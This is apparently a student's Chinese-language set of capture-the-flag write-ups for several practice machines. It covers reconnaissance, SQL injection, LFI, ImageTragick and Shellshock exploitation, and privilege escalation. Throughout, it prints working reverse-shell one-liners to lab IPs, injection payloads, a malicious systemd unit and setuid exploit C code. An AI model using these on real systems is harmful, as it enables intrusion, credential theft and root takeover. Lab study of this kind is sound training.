Linux Privilege Escalation 101

SwagShop

掃port

把它加進host裡

先查一下apache版本,有個CVE-2021-41773 https://teamt5.org/tw/posts/apache-http-server-vulnerabilty-on-windows-2021/
但我試著打,他會濾掉,看起來是有防著(或是我打錯了啥?)

所以我掃目錄

find a root
我找到一組帳號而已
<username>root</username>
<password>fMVWh7bDHpgZkyfqQXreTjU9</password>

所以我決定去找看看網站架構的版本 我發現了一個RCE漏洞 他做的就是新增一個帳號進去admin裡面 https://www.exploit-db.com/exploits/37977 <-(複製裡面的內容)
target要加index.php (帳密就是後面那兩個)

get in web admin
拿得到的內容登入

Froghopper
這裡要打進去需要用到一個技巧 叫做froghopper (因為攻擊者喜歡用pepe蛙的照片攻擊進去) https://www.foregenix.com/blog/anatomy-of-a-magento-attack-froghopper 他特別的地方是你要去設定那裏開選項 其他就只是把php reverse shell丟進png裡面上傳上去 讓他執行而已 which means it’s a RCE
System -> Configuration (上方bar) Advanced –> Developer (左邊選單) Template Settings –> Allow Symlinks 修改為Yes,並且保存
圖1:

圖2:

圖3:


make an php reverse png
echo '<?php' >> shell.php.png
echo 'passthru("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.xx.xx 1234 >/tmp/f");' >> shell.php.png
echo '?>' >> shell.php.png

上傳的地方
Catalog –> Manage Categories (上方bar) name -> test Is Actice -> Yes save Category
圖1:

然後要記得儲存

執行exploit
先在機器監聽

然後要去這裡
Newsletter –> Newsletter Templates -> Add New Template {{block type=’core/template’ template=’../../../../../../media/catalog/category/shell.php.png’}} <- 這串在前面的參考資料有說 Preview Template
圖1:

圖2:

看起來前面亂填就好了(?

記得儲存

然後要按這個

privilege escalation


可以在html之下運行 vi 拿到root(他sudo 剛好可以用,不用密碼的那種)

直接把這串改成 sudo vi /var/www/html/ -c '!sh'
https://gtfobins.github.io/gtfobins/vi/#sudo
root

root.txt

user.txt

Help

先放進hosts裡,以免他會跑不出來

掃port會發現他開了三個port

port 3000
他說了given query

我試著塞點東西

我發現他好像是api之類的東西 所以我查了一下發現了api的語法 https://graphql.org/learn/schema/

我就去找他的document,用curl 去看他會跑甚麼結果
- -s 安靜模式
- -H type
- -d HTTP POST Data

{"username":"helpme@helpme.com","password":"5d3c93182bb20f07b994a7f617e99cff"}
port 80
接著我去看port 80有什麼 掃了目錄後發現一個叫做 helpdeskz

看起來是可以拿剛剛那組帳號登進去 (密碼要解hash)

5d3c93182bb20f07b994a7f617e99cff:godhelpmeplz
我沒找到啥東西 我只有找到版本

所以我去searchsploit 發現一個lfi的漏洞


這裡可以上傳東西的地方只有ticket

but

所以我先建了一個ticket
然後我做了一個txt的檔案

我發現他的漏洞看起來是用sqli

所以我用burpsuite 攔截後建立成檔案

所以我用sqlmap掃看看

他是sql blind

跑超久==

所以我拿到帳號密碼(這個網頁登不進去,合理懷疑是裡面的帳密)

user.txt

root.txt
我整個翻了一下,最終我決定從kernal下手 我發現了https://www.exploit-db.com/exploits/44298
所以我傳上去

root

c41100d4023c645d90588ab37fd61983

Nibbles

他開了80/22

看了80發現啥都掃不到 所以我開burp suit

發現了上面那個再掃之後出現了很多東西

我有找到東西 /nibbleblog/content/private/config.xml

我先去查他的版本

他有個漏洞

但因為他好像是用matasploit 所以我改用另一個
https://github.com/dix0nym/CVE-2015-6967/blob/main/README.md
痾他密碼好像是預設? 所以我乾脆就直接輸入了

我發現plugins 好像可以上傳東西

所以我要上傳 php-reverse-shell

會在這裡找到他

user.txt

f1c5514dde67d030c0796debd41b32b6

root.txt
剛剛有看到一個zip 解壓縮之後會有一個monitor.sh 內容看起來是類似清暫存的 我覺得應該可以塞東西進去
而且sudo不用密碼

| 所以我要用tee 把 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 10.0.0.1 1234 >/tmp/f 塞進去 |
開監聽之後sudo 執行他(退出去才有權限)

root

3f3642ec725c000421bf7530a47e0904

Mirai

他開了6個port(我重掃才知道) 80port只是個幌子

掃到一堆東西,但是進去之後都長一樣

唯一有找到的東西是 80 port 有個不知道密碼的樹梅派

找了一下,發現他的提示就是名字 Mirai 好像是個殭屍網路的名字
好像是要用pi(密碼是樹梅派raspberry)登看看後台
user.txt
雖然不知道這題為啥長這樣 但…

ff837707441b257a20e32199d7c8838d

root.txt

root

?

?

可以用 strings /dev/sdb 去列出命令紀錄

Node

他出了21/3000 port

我在網頁中發現他的設定

所以我試著直接去admin看,雖然它會直接跑login,但是我知道了它是用express 這個 frame

順帶一提,它是用應該是api呼叫user的 所以我決定curl看看能不能拿到東西
可以拿到所有帳號(jq只是個整理的工具)

把密碼解開之後會發現,它是sha256,然後最後一組密碼解不開
myP14ceAdm1nAcc0uNT:manchester tom:spongebob mark:snowflake

當我登入之後出現一個backup檔案

終於載下來之後發現它是個ascii 文字檔 我就把它用base64轉譯之後 發現它是個zip檔

解開之後這應該是網站的原始碼

可是不能直接解開

所以我把它丟進zip2john裡面 發現裡面有一段hash

用john解出來之後發現密碼 magicword

解出來了

我在app.js裡面找到密碼 mark:5AYRft73VtFpc84k

user.txt
mark

我發現只有tom可以開user.txt

sudo 不能用,所以要找其他方式進去 我發現它是用mongo 去連接資料庫的

連進去之後,裡面好像是空的

但是我可以自己塞東西進去(但是過幾秒後它就消失了)

可以發現剛剛那個123確實有存在

所以我先監聽,然後把reverse shell 輸入進去

然後我就變成tom了

cf048571e1e256b5e82f527459fa8bef

root.txt
從上面id 可以發現 我們有一大堆權限 sudo 可以用(-l不行) 它要密碼

接著是我們有admin的權限 它的數字大於1000 which mean 它是由管理員創建的身分
找了一下跟他有關的檔案 它的權限是 root admin

它是個elf-32的檔案(看起來是要逆向)

它要我們輸入魔法字

我用ltrace 追蹤它 -q 是啥 quite ?

可以發現他開了 /etc/myplace/keys
下面是抓到b 然後一直在跑東西 最後結束

所以我就去cat 那個檔案 發現裡面有四條,最後一條是空白

我用裡面給的keys 輸入 ,他們都給一樣的東西(b 那格才抓得到key) 即使是空白也是 看起來它還需要一個路徑

所以我去tmp 建了一個123的檔案 它給了一串東西

我覺得應該可以加上 -q 它給得好像不一樣了 我猜它應該是base64

確實是base64 但還要加上zip檔

但他要密碼,所以我拿前面的密碼解看看 它好像會跑出那個地方的檔案(?

所以我打算用看看root 空的🤔

好像用不了

要用 7z 解(好麻煩) 解出來長這樣==

看起來是故意的,為了不讓我們用這種方式直接拿到flag

它有很多檢查,讓我們不能跳脫

這段是它用zip加密然後把它變成base64的過程
strstr:傳回指向str1中第一次出現str2的指針
strchr:傳回指向 str1 中第一次出現的 char 的指針
strcmp:如果 str1 與 str2 相同,則傳回 0

ps. 我原本找到的方法接著要做buffer overflow 然後拿到flag 但我找到更輕鬆更好的方式 from ippsec
它前面是檢查了一些東西,但還是有方法可以跳脫
像是用 /r. t (沒有.跟空白)
或是 /r??t

這樣可以不用開 PYTHON 就可以傳送了

root

RCE
我先塞2000個A 進去看會發生什麼事

塞滿之後沒有return 就被kill了

我建了一個不太一樣的內容試試看
msf-pattern_create -l 1000 -s ABCDEFGHIJKLMNOPQRSTUVWXYZ,abcdefghijklmnopqrstuvwxyz,0123456789


// 停在這是因為不知道為啥我的gdb 不會抓到我輸入三個物件它要存取的地方
理論上就是找到位置 + 512 偏移位 用lib去找 system exit /bin/sh 位置
把他們合在一起讓backup -q ‘’ /exploit 就可以靠buffer overflow 變成 root
所以我要用另一種方法
再不行我也可以攻擊kernal

可以發現它的版本裡有一個漏洞 (看源碼應該也是buffer overflow)

用前面的方式上傳上來 然後執行(./pwn)

root

Jarvis

開了22/80/64999

64999 what

掃的時候找到phpmyadmin

我輸入admin:admin它出現這個

/phpmyadmin/doc/html/index.html

我查phpmyadmin 4.8.0 找到它有一個漏洞 可以直接從sql drop 出它的內容

感覺是這裡

但我試了沒啥用
然後我回去原本的網站 發現這裡有個訂房的看起來也能試試

加個’它會抓不到東西

我試到第7才跑出來 5 是圖片 2 是title 3 是價錢 4 是描述 其他沒跑出來

http://10.10.10.143/room.php?cod=100%20union%20select%201,group_concat(schema_name),3,4,5,6,7%20from%20information_schema.schemata;%20--%20-

http://10.10.10.143/room.php?cod=100%20union%20select%201,group_concat(table_name),3,4,5,6,7%20from%20information_schema.tables%20where%20table_schema=%27hotel%27;%20--%20-

http://10.10.10.143/room.php?cod=100%20union%20select%201,group_concat(column_name),3,4,5,6,7%20from%20information_schema.columns%20where%20table_name=%27room%27;%20--%20-

http://10.10.10.143/room.php?cod=100%20union%20select%201,group_concat(table_name),3,4,5,6,7%20from%20information_schema.tables%20where%20table_schema=%27mysql%27;%20--%20-
column_stats,columns_priv,db,event,func,general_log,gtid_slave_pos,help_category,help_keyword,help_relation,help_topic,host,index_stats,innodb_index_stats,innodb_table_stats,plugin,proc,procs_priv,proxies_priv,roles_mapping,servers,slow_log,table_stats,tables_priv,time_zone,time_zone_leap_second,time_zone_name,time_zone_transition,time_zone_transition_type,user`
http://10.10.10.143/room.php?cod=100%20union%20select%201,group_concat(column_name),3,4,5,6,7%20from%20information_schema.columns%20where%20table_name=%27user%27;%20--%20-
Host,User,Password,Select_priv,Insert_priv,Update_priv,Delete_priv,Create_priv,Drop_priv,Reload_priv,Shutdown_priv,Process_priv,File_priv,Grant_priv,References_priv,Index_priv,Alter_priv,Show_db_priv,Super_priv,Create_tmp_table_priv,Lock_tables_priv,Execute_priv,Repl_slave_priv,Repl_client_priv,Create_view_priv,Show_view_priv,Create_routine_priv,Alter_routine_priv,Create_user_priv,Event_priv,Trigger_priv,Create_tablespace_priv,ssl_type,ssl_cipher,x509_issuer,x509_subject,max_questions,max_updates,max_connections,max_user_connections,plugin,authentication_string,password_expired,is_role,default_role,max_statement_time
http://10.10.10.143/room.php?cod=100%20union%20select%201,user,3,4,password,6,7%20from%20mysql.user;%20--%20-
DBadmin:2D2B7A5E4E637B8FBA1D17F40318F277D29964D0: imissyou
我們拿到了剛剛進不去的那裏的帳密了

而剛剛我還有找到(網路上)它有另一個漏洞CVE-2018-12613 是一個lfi的漏洞 https://blog.csdn.net/qq_34444097/article/details/85264686
裡面有個叫 pepper 的user


試試看它會不會回傳
http://10.10.10.143/phpmyadmin/index.php?cmd=id&target=db_sql.php%3f/../../../../../var/lib/php/sessions/sess_dnsvt1bgct034jrppkv99ag4btlu8qn6
phpMyAdmin:”dnsvt1bgct034jrppkv99ag4btlu8qn6”

sess 後面接的是這個

把id 改成下面那串,然後要先開監聽 http://10.10.10.143/phpmyadmin/index.php?cmd=nc%20-e%20/bin/sh%2010.10.14.4%201111&target=db_sql.php%3f/../../../../../var/lib/php/sessions/sess_0rhfbdu629c33vqc5s95pg9496s7o4fo nc -e /bin/sh 10.10.14.4 1111

pepper
好像只能變成pepper (?)

這看起來是個可以ping ip 的程式

壞消息是它有過濾 好消息是它用os.system 執行程式

so it worked

所以我在tmp 寫了一個reverse shell ,然後開監聽,用前面的方式執行它
bash -i >& /dev/tcp/10.10.14.4/1234 0>&1

user.txt

dd9fa4c63bc2eac7958f75ae28cb7723

root.txt
我先從pepper 的身分組開始查 我發現它有一個 /bin/systemctl 通常 /bin 都只有root可以用 所以我覺得應該可以用

https://gtfobins.github.io/gtfobins/systemctl/

查了一下原理跟用法
systemctl 會連接到 systemd 通常它是root才可以寫入 所以只要我們寫一個檔案 然後link過去 就可以讓root執行 它只能執行 service 檔
[Service]
Type=notify
ExecStart=/bin/bash -c 'nc -e /bin/bash 10.10.14.4 5678'
KillMode=process
Restart=on-failure
RestartSec=42s
[Install]
WantedBy=multi-user.target

先link然後開監聽

開啟服務

root

12812f41251eb022294ebe7d56a6ae9f

Inception


我發現了他程式寫錯

在80port 我找到這串註解

而且有這個目錄

我發現了他的版本

以及作者名字和email

他也有個php頁面

而我去google發現他有個(lfi還是要叫做afr)的漏洞 https://www.exploit-db.com/exploits/33004
他的用法是
http://example/dompdf.php?input_file=php://filter/read=convert.base64-encode/resource=<PATH_TO_THE_FILE>
輸入/etc/passwd 就會跑出一個pdf檔案,裡面是被base64加密的內容

有一個用戶名叫做cobb

我去參考別人的辦法,他們是去找阿帕契的設定檔,雖然我不知道他們怎麼枚舉的 因為其實他很多東西出不來,你要試其實還蠻難的 /etc/apache2/sites-enabled/000-default.conf

把設定檔解密之後,可以發現authuserfile 有寫出一個密碼檔

webdav_tester:$apr1$8rO7Smi4$yqn7H.GvJFtsTou1a7VME0

我把他丟去hashcat解
$apr1$8rO7Smi4$yqn7H.GvJFtsTou1a7VME0:babygurl69
webdav_tester:babygurl69

Then , I’M gonna use WebDav (好像只能這樣去找到能攻擊的地方)
webdav是個古老的枚舉工具 , 由於http協定 被擴展,所以不只是只有get 、 post 等等的,還有lock,總之這個工具可以檢測網頁目錄在哪個協定下會成功,哪個會失敗
https://en.wikipedia.org/wiki/WebDAV
沒成功

所以我用這個目錄(我不是很確定這是什麼,感覺像是測試目錄,但為甚麼會有我也不知道) 他跟我說unauthorized

加上帳密他就成功了,而且跑出很多put

reverse shell
所以我了一個php reverse 的網頁在這

他不理我

forward-shell
https://www.youtube.com/watch?v=-ST2FSbqEcU
我統整懶人包版:
首先要先 mkfifo (一個檔案a) touch (一個檔案b)
a 檔案可以用 | sh 來執行cmd b 檔案可以儲存 a 檔案執行出來的結果
最重要的是 a 檔案如果執行 tail -f 那執行就可以源源不斷
可以用手編簡易版或是python版等等
https://0xdf.gitlab.io/files/inception-forwardshell.py https://github.com/IppSec/forward-shell.git

cobb
在搜查時我發現了wordpress
還有bash不能用

我在裡面的wp-config找到 root:VwPddNh7xMZyDQoByQL4

但我們八成也是用不了mysql的 所以我猜應該是要用proxychain 去連到ssh裡
before that i used to add it to list it called /etc/proxychains4.conf

cobb

user.txt
c826282e8819508f546c79dafe022a26

root.txt
我沒想到難度突然直線下降


我被騙了

我先查他有沒有放一樣檔名的檔案在其他地方

再看他後台有沒有聯去其他地方

最後是檢查他的tcp跟udp 發現剛沒有掃到ftp

是預設

so 我先去把他的crontab get下來 他會用apt 更新跟升級

以防萬一我先try,果然不行

我們剛剛有再udp掃到一個tftp 我可以用他來put檔案
so 它是用apt去跑,所以我們也可以用這個資料給的內容去讓他跑command https://www.cyberciti.biz/faq/debian-ubuntu-linux-hook-a-script-command-to-apt-get-upgrade-command/
這是我的shell

開nc

上傳後等他5分鐘


f5870707e5ce4c87b634a6ca13256b33

這題就是我們進到 192.168.1.10 但真正的flag在 192.168.0.1裡面 (雖然最後是用ssh連上去的)
Ariekei

有4個port有詳細內容,其他基本上可以算是unknown

掃了目錄之後感覺怪怪的,因為一開始網頁是顯示維護中的 看了一下內容,有一些網頁排版工具的版本

接著我發現/cgi-bin/ 裡面有內容

所以我就去看看他有些甚麼東西 可以看到 這裡有個用戶名 /home/spanishdancer/content/index.html bash 的版本 GNU bash, version 4.2.37
發現這個版本的bash有一個RCE漏洞叫做Shellshock
https://blog.haostudio.net/hwp/building-bash-from-source-%E8%A3%9C-shellshock-%E6%BC%8F%E6%B4%9E/ https://zh.wikipedia.org/zh-tw/Shellshock

我試著用burpsuite 時發現,他連到其他地方去的樣子 而且有waf X-Ariekei-WAF: beehive.ariekei.htb https://www.cloudflare.com/zh-tw/learning/ddos/glossary/web-application-firewall-waf/

I tried it but … It seems like a smile

calvin
As i said ,我們掃port的時候DNS有告訴我們有兩個不同的子網路

把他們加到 hosts裡之後,掃他找到upload

他長這樣 標題寫Image Converter

這讓我想到之前打ctf的時候有遇過一題,他是在白箱裡面塞一個叫做imagemagic的函式 所以我就去找了一下 發現它叫做ImageTragick CVE-2016–3714
https://book.jorianwoltjer.com/web/imagemagick https://imagetragick.com/
用法be like
push graphic-context
viewbox 0 0 640 480
fill 'url(https://"|setsid /bin/bash -i >/dev/tcp/10.10.14.4/1111 0<&1 2>&1")''")'
pop graphic-context

接著就是開監聽然後上傳

bastion
進去之後我發現這個好像是用anaconda建置的docker 也就是說它是個虛擬機的概念(?

我在這裡發現了bastion_key 看檔案格式應該是ssh的密碼

我先去找我們的ip 172.23.0.11
i found it from /proc/net/fib_trie

然後在同個目錄下(跟ssh密鑰)的network 這裡可以發現,他建了兩個網路23、24

這張圖的來源到底是誰我找不到 但統整目前的情況很方便 我們對 Web 應用程式的請求透過 WAF 發送到連接埠 443,WAF 充當 calvin 的反向代理 但是我們利用剛剛的imagetragick技巧 waf沒有把我們擋下來 所以我們現在進來了 而從剛剛我們查ip的時候也可以看到似乎只有23的存在 那是因為24 is not live-host 應該只是管理員拿來測試忘記刪的 Than 現在我們要到bastion which i got the ssh key

不確定有沒有用但我發現這個 root:Ib3!kTEvYw6*P7s

ssh key 要給他 600
然後要給他 -o PubkeyAcceptedKeyTypes=ssh-rsa

www-data

這時候我們就可以戳戳看24

感覺他的shellshock 漏洞也可以用用看

我傳看看reverse shell wget -U ‘() { :;}; echo; /usr/bin/bash >& /dev/tcp/10.10.14.4/1234 0>&1’ -O- http://172.24.0.2/cgi-bin/stats 他不讓我這樣做

原因好像是因為他沒有這個檔案

user.txt
好ㄟ成功了

學到新招了

但是用python還是比較穩 用bash他會不讓你用su輸入密碼==

8319c28b9073a2866652e140182f8a29

spanishdancer
老樣子,先去看他的ssh

然後他的ssh看起來是要解密的(這樣等一下就可以用sudo ,如果有的話)

purple1

我把原ssh key 用成rsa 變成檔案what (查這個真的搞超久,ssh一直出錯) 然後一樣要給他600


root.txt
從上面那張圖我們可以知道我們有自己得權限加上我們與docker 是同一個群組的 There’s a very cool thing is 我們可以不用通過sudo 就可以執行docker Moreover 我們可以透過他來執行bash 來變成root
https://gtfobins.github.io/gtfobins/docker/#sudo 我們可以讓他在 /mnt 執行/bin/bash 來提權 或是自己建個檔案讓他掛在裡面也行
root

他的root.txt 不在 root裡 03e2aad460b51b28576ef55e0bcc763a

總結
這題先是透過網頁漏洞去到後台 然後靠發現的shellshock 漏洞去到另一台裝置 然後在裡面發現ssh 再跑到另一台裝置 然後用ssh 隧道的方式 再跑去另一台裝置 途中有發現有兩條網路 然後用ssh 連到不同權限 總之最後是docker 的漏洞
OneTwoSeven

開了80,22,60080

從網頁上寫的提示以及我自己得測試, 不能掃目錄 不能用php ,但是存在chroot 他們還沒有用ipv6
Username: ots-kMjc4MjI Password: d5d27822

我拿這串去連接sftp

我放了一個有123的檔案

所以我就想說用link的方式看看是不是也能抓到資料

ots-yODc2NGQ:x:999:999:127.0.0.1:/home/web/ots-yODc2NGQ
除了存在我以外還有一個別人
他的ip看起來是直接連到目標得host

in order to know that 我決定要去看網頁的程式碼
他這邊就跑出來了 他的密碼是把ip轉乘md5 之後取前8碼 然後再轉乘base64 撇去base64 那個身分的密碼就是127.0.0.1轉成md5後取前八碼(f528764d)
f528764d624db129b32c21fbca0cb8d6

user.txt
把檔案get下來

acf910b696bca13d476c2a0b3876be6b

www-data
back to earlier
我剛剛有去看網頁 but 我link到的是 /var/www 我找到了一個login.php.swp 在 html-admin
if ($_POST['username'] == 'ots-admin' && hash('sha256',$_POST['password']) == '11c5a42c9d74d5442ef3cc835bda1b3e7cc7f494e704a10d0de426b2fbe5cbd8')
ots-admin:Homesweethome1

他給了帳密

並且如果不是從60080port進入的話程式就die

所以我用ssh 轉接到127.0.0.1 60080

然後去看網頁

把剛剛拿到的帳密(有sha那個)輸入進去

往下滑可以有地方給你上傳

按下[DL]可以下載原始碼 其中這是 addon manager 的程式碼 這邊提到說 url中一定要有addon-upload.php 並且他跑完之後會丟給download那裏檢查 所以url裡面也要有他 如果兩個都要出現的話 可以把他當作像指令一樣
EX:127.0.0.1/addon-download.php?what=/addon-uploads.php

要記得先去網頁那裏,把按鈕的hidden刪了 然後用burpsuite 抓 改一點值跟型態還有url+你的command就好了

成功上傳

接著就是開監聽上傳reverse shell(還要再去造訪一次網頁)
bash -i >& /dev/tcp/10.10.14.4/1234 0>&1

www-data

root.txt
可以透過 apt update upgrade 來提權

先試試看update 他說失敗是因為APT嘗試解析 packages.onetwoseven.htb

所以我們可以劫持他的流量來變成root
MiTM
之前有打過跟apt有關的 當時是寫一個apt的reverse shell 但現在這題不太一樣的是 似乎要讓他執行update之後還要upgrade 因為有些事情的權限的問題 所以不是執行其中一個就會成功 而這是我找到的方法 aka 中間人攻擊
https://versprite.com/vs-labs/apt-mitm-package-injection/
我先設我的proxy到環進變數裡 export http_proxy

用burp suite 去當作proxy的轉接處

然後把下面那句放在hosts裡
packages.onetwoseven.htb

因為剛剛在burpsuite上有設定 開一個連接的地方

接著可以去輸入sudo apt-get update

再看自己的機器可以看到有攔截到東西 但是都沒有成功

並且我們可以發現有個叫做devuan的資料夾

所以我先去查了一下

這裡有很多檔案

隨著抓到的封包給的路徑 可以找到原檔案

把他載下來之後解壓縮

然後挑一個檔案設定 我挑這個

我用vim 把下面全刪了 隨便打個很大的數字然後按dd 然後用nano 編輯

改成這樣

https://github.com/mthbernardes/Derbie.git
由於他需要一個 control 檔跟 postinst檔
所以現在要來寫 control 檔
裡面要改成跟上面那個package檔一樣

like this

另一個be like

然後很重要的一點是 要給他在相對應的目錄下 就等於說當在目標機器update的時候 他會找到我們這裡 然後安裝我們的東西 接著upgrade 就可以連到root
像是這樣,然後要給他755(那個github有寫)

把他壓成檔

看一下檔案大小

還有sha256
2101e8ccc91806afb8a88a35c4cf3b02f67e0c86f50768ebadb36ebb29e27a3d

把package 改成剛剛看到的數值

然後壓縮他

update之後發現他有抓到

所以我就開監聽

upgrade之後確定有抓到

root

a401c9d7788715186fdd995d47df3455

//上一題比較難的比較好玩
FluJab

他DNS爆出很多子網域(?
DNS:clownware.htb, DNS:sni147831.clownware.htb, DNS:*.clownware.htb, DNS:proxy.clownware.htb, DNS:console.flujab.htb, DNS:sys.flujab.htb, DNS:smtp.flujab.htb, DNS:vaccine4flu.htb, DNS:bestmedsupply.htb, DNS:custoomercare.megabank.htb, DNS:flowerzrus.htb, DNS:chocolateriver.htb, DNS:meetspinz.htb, DNS:rubberlove.htb, DNS:freeflujab.htb, DNS:flujab.htb

echo | openssl s_client -showcerts -servername 10.10.10.124 -connect 10.10.10.124:443 2>/dev/null | openssl x509 -inform pem -noout -text | grep DNS | tr "," "\n" | cut -d: -f2

先把他全加進host裡等等一個一個看

443
因為proxy設定問題 所以firefox一開就跑出來 可以看到打開來顯示的是錯誤

clownware.htb (HOLE)
我猜是個兔子洞 因為裡面只有小丑圖的gif

而且他會301到error

sni147831.clownware.htb (HOLE)

proxy.clownware.htb (HOLE)

console.flujab.htb (HOLE)

sys.flujab.htb (HOLE)

smtp.flujab.htb
這個頁面有一個登入畫面

vaccine4flu.htb (hole)

bestmedsupply.htb (HOLE)
這是一個買藥網站

基本上按鈕按下去就會被重訂向到小丑搖頭畫面
custoomercare.megabank.htb (HOLE)

flowerzrus.htb (HOLE)
這個網頁只有html跟css 啥都沒有

lowerzrus.htb (HOEL)
看電影(巧克力夢工廠的片段的樣子)

meetspinz.htb (HOLE)
好色

meetspinz.htb (HOLE)
這是什麼我還以為是駭客任務

freeflujab.htb
這個網頁可以註冊

還有登記要打疫苗

好像要特定的名字

flujab.htb (HOLE)

基本上所有的頁面的網頁都長這樣

NEXT
大致都戳過了 只有兩個頁面有點用 但是我沒戳出甚麼東西 所以我打算看點頁面外的東西
depand on 我剛剛有亂輸東西

看cookies 會多出一欄,而且有一欄的path是smtp_config

那欄decode之後長這樣

下面的register最後面也有%3D 所以我也拿去decode
3f4c7a2a129c29be1c242fddd5f95cab=Null

而patient 那一欄應該是md5
cd75a966abfbd8577cf436b9678c55db -

進到smtp_config之後會被重訂向到denied 所以我開burp 去改它的cookies
先把MODE改成TRUE 後

再丟上去
COOKIE改成 MODUS=Q29uZmlndXJlPVRydWU= 標頭路徑改成smtp_conig then (原本有設定cookies在burp但都沒成功後面我都用手動的)

下面有個白名單連結,好像只有我

所以我先在應該要讓他連到我得smtp? 但他只允許字串

所以我先開一個smtp的port

然後把ip丟在字串那欄

成功了

先看看白名單的部分 好像沒啥特別的 而且我好像多加一次

所以我打register 下手 我把它改成true 然後轉成base64

可以看到cancel變了

remind也變了

我試著傳東西

但他說我沒有提供信箱

所以我就去cancel那裡試試看(我的smtp還沒關)

可以看到他有回傳東西

網頁跳出來的是

值得注意的是ref後面感覺是有東西的,可是它是空值

所以我試試看或許是因為全都是0的關係
但試驗過後發現不是

接著我在他後面加一個單引號 沒有回傳但是網頁跑得很快 感覺可以試試看sqli

輸入輸到5的時候終於回傳東西了 可以看到ref值後面接著3

nhsnum=NHS-000-000-0000'+UNION+SELECT+1,2,@@VERSION,4,5;+--+-&submit=Cancel+Appointment
版本

nhsnum=NHS-000-000-0000'+UNION+SELECT+1,2,table_name,4,5+from+information_schema.tables+where+table_schema=database();+--+-&submit=Cancel+Appointment
table name

nhsnum=NHS-000-000-0000'+UNION+SELECT+1,2,column_name,4,5+from+information_schema.columns+where+table_schema=database()+and+table_name='admin';+--+-&submit=Cancel+Appointment
第一欄的名稱

nhsnum=NHS-000-000-0000'+UNION+SELECT+1,2,column_name,4,5+from+information_schema.columns+where+table_schema=database()+and+table_name='admin'+and+column_name!='id';+--+-&submit=Cancel+Appointment
第二欄的名稱

nhsnum=NHS-000-000-0000'+UNION+SELECT+1,2,column_name,4,5+from+information_schema.columns+where+table_schema=database()+and+table_name='admin'+and+column_name!='id'+and+column_name!='loginname';+--+-&submit=Cancel+Appointment
第三欄的名稱

nhsnum=NHS-000-000-0000'+UNION+SELECT+1,2,column_name,4,5+from+information_schema.columns+where+table_schema=database()+and+table_name='admin'+and+column_name!='id'+and+column_name!='loginname'+and+column_name!='namelc';+--+-&submit=Cancel+Appointment
第四欄的名稱

nhsnum=NHS-000-000-0000'+UNION+SELECT+1,2,column_name,4,5+from+information_schema.columns+where+table_schema=database()+and+table_name='admin'+and+column_name!='id'+and+column_name!='loginname'+and+column_name!='namelc'+and+column_name!='email';+--+-&submit=Cancel+Appointment
第五欄的名稱

我覺得這樣的資訊應該夠了 但是沒有password 我往下leak也沒看到(下一個是creat)
nhsnum=NHS-000-000-0000'+UNION+SELECT+1,2,CONCAT(loginname,':',namelc,':',password,':',email,':',access),4,5+FROM+admin;+--+-&submit=Cancel+Appointment&submit=Cancel+Appointment
所以我自己加了
it work
sysadm:administrator:a3e30cce47580888f1f185798aca22ff10be617f4a982d67643bb56448508602:syadmin@flujab.htb:sysadmin-console-01.flujab.htb

get in shell
拿去解密後 sysadm:th3doct0r

我將sysadmin-console-01.flujab.htb加到hosts裡
?

看來要8080才可以(具參考過的一些資料,一定要加進白名單才可以造訪這個網頁)

拿剛剛獲得的帳密登進去

進去notepad可以開他檔案
因為他是連到他的伺服器裡的
所以open是開他檔案

裡面只有drno存有ssh

所以我打算去存取他的鑰匙

但沒有成功

所以我去/etc/ssh 看看有沒有甚麼其他的東西 我發現了好像是被廢棄的ssh鑰匙 還有個說明 裡面說不要重複使用鑰匙

然後我就找到重複使用的用戶了

我還不太知道要怎麼做
所以我先去查了他的kernal版本(找不到得可以直接去網址那裡打)

再去查他的cve 我發現了CVE-2008-0166 他是用亂數產生可預測的數字 這讓ssh可以被爆破 https://security-tracker.debian.org/tracker/CVE-2008-0166 https://github.com/g0tmi1k/debian-ssh
我先去看他的finger point

然後把中間的冒號都刪掉

在上面可以看到他跑出4096 所以我去上面有貼的git中去到uncommon 找到4096 然後解壓縮他
裡面檔案超多

透過把剛剛有整理好的md5 後面加上* 可以馬上找到密碼

可是登入之後發現還是進不去 -v之後可以發現他其實沒連到 感覺是被擋下來了

我把我得ip加進hosts.allow中(但這樣沒成功)

所以我加看看all(結果成功了)

user.txt
不知道為甚麼不能顯示hostname

728a7154a359ab7c4ef37e3e30d5c656

root
他顯示我好像在受限制的shell中 https://xz.aliyun.com/t/7642?time__1311=n4%2BxnD0G0%3DG%3DeAK0QbDsA3OPxBixRl67DcYD&alichlgref=https%3A%2F%2Fwww.google.com%2F

我選擇連ssh時加上-t bash

光這樣好像不會動
所我還要修改我的路徑
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
接著我用find去找可以提權的檔案 我發現有兩個screen

他們的版本一樣

但他們的權限有一點不一樣

當我直接執行的時候
他顯示要給他755 但我沒那個權限

Then 我去查了screen 的版本 我發現他有個寫入的漏洞 好像是因為開發的時候不小心讓他可以寫入root檔 所以我找到了這個 https://github.com/XiphosResearch/exploits/blob/master/screen2root/screenroot.sh
我會把這兩個檔案傳過去然後讓他執行
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/stat.h> //chatgpt said that chmod needed it
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
#include <stdio.h>
#include <unistd.h> //needed
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
char *args[] = {"/bin/sh", NULL}; //needed
execvp("/bin/sh", args); //needed
}
我將它們上傳到機器上

我不確定他需不需要但我加了

痾結果是因為版本(我前面弄了很多版)

最後我查了論壇跟chatgpt 編譯的時候加上這個就好了 -static
root

05890898608a77ae324e1fed33c53ecb

Jail

開了6個port

port 80
我用這個掃到了一個目錄 /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt

這裡有三個檔案

看起來是個登入還是什麼的程式 裡面有他的判段式 應該不會是要我們打pwn吧🤔
admin:1974jailbreak!

nfs
我記得這是一個共享資料夾的一個port 所以應該是可以掛載進去的

所以我建一個資料夾,然後把他掛進去

裡面只有 /bin/cat /home/frank/logs/checkproc.log

接著我去看另一個檔案 出現權限不足 應該是因為我掛載過去的身分應該只是1000

我發現我可以建立檔案進去
裡面得檔案是空的

jail
看來只能pwn進去了
可以看到他是一個 32位元的elf檔

